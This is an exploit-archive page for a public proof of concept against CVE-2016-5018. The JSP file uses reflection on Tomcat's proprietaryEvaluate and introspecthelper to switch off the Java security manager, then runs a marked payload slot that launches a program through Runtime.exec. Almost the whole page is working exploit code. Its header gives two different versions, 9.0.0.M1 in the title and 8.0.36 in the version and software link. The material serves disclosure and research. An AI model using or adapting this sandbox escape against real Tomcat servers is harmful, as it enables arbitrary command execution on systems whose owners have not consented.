what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Tomcat 9.0.0.M1 Sandbox Escape

Tomcat 9.0.0.M1 Sandbox Escape
Posted Jan 8, 2020
Authored by Harrison Neal

Tomcat version 9.0.0.M1 proprietaryEvaluate sandbox escape proof of concept.

tags | exploit, proof of concept
advisories | CVE-2016-5018
SHA-256 | 6387cb2de359a320bca8b8198ebe1e1860a11299b6b805ab3668970553e0d452

Tomcat 9.0.0.M1 Sandbox Escape

Change Mirror Download
# Exploit Title: Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape
# Date: 2020-01-07
# Exploit Author: Harrison Neal, PatchAdvisor
# Vendor Homepage: https://tomcat.apache.org/
# Software Link: https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/apache-tomcat-8.0.36.exe
# Version: 8.0.36
# Description: Tomcat proprietaryEvaluate/introspecthelper Sandbox Escape
# Tested on: Windows
# CVE: CVE-2016-5018
/*
# See https://tomcat.apache.org/tomcat-8.0-doc/security-manager-howto.html for more information about the default sandbox.
# When Tomcat 8 is configured to run as a service, you can use the Tomcat8w.exe tool to enable/disable the security manager.
# In the Java tab, add the following options:
# -Djava.security.manager
# -Djava.security.policy=C:\Program Files\Apache Software Foundation\Tomcat 8.0\conf\catalina.policy
*/

<%@ page import="java.util.*,java.io.*,org.apache.jasper.runtime.*,java.lang.reflect.*"%>
<%
SecurityManager sm = System.getSecurityManager();

if (sm != null) {
try {
ProtectedFunctionMapper pfm = ProtectedFunctionMapper.getInstance();

{ // Tomcat 7+
// Get the desired method
Method[] methods = (Method[]) PageContextImpl.proprietaryEvaluate(
"${pageContext.getServletContext().getClass().getDeclaredMethods()}",
Method[].class, pageContext, pfm /*, false*/); // Uncomment "false" parameter for Tomcat 7

Method theMethod = null;

for (Method m : methods) {
if ("executeMethod".equals(m.getName())) {
theMethod = m;
break;
}
}

// Set it to accessible
JspRuntimeLibrary.introspecthelper(
theMethod,
"accessible",
"true",
request,
null,
false);

// Run it
theMethod.invoke(pageContext.getServletContext(),
System.class.getMethod("setSecurityManager", new Class[]{SecurityManager.class}),
null,
new Object[]{null}
);
}

/*{ // Tomcat 5.5 and 6
pfm.mapFunction("hello:world", System.class, "setSecurityManager", new Class[] { SecurityManager.class });
PageContextImpl.proprietaryEvaluate("${hello:world(null)}", Object.class, pageContext, pfm, false);
}*/

} catch (Throwable ex) {
PrintWriter pw = new PrintWriter(out);
ex.printStackTrace(pw);
pw.flush();
}
}

// Your payload goes here
try {
Runtime.getRuntime().exec("calc");
} catch (Throwable ex) {
PrintWriter pw = new PrintWriter(out);
ex.printStackTrace(pw);
pw.flush();
}

// Optional put the security manager back
if (sm != null) {
System.setSecurityManager(sm);
}
%>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close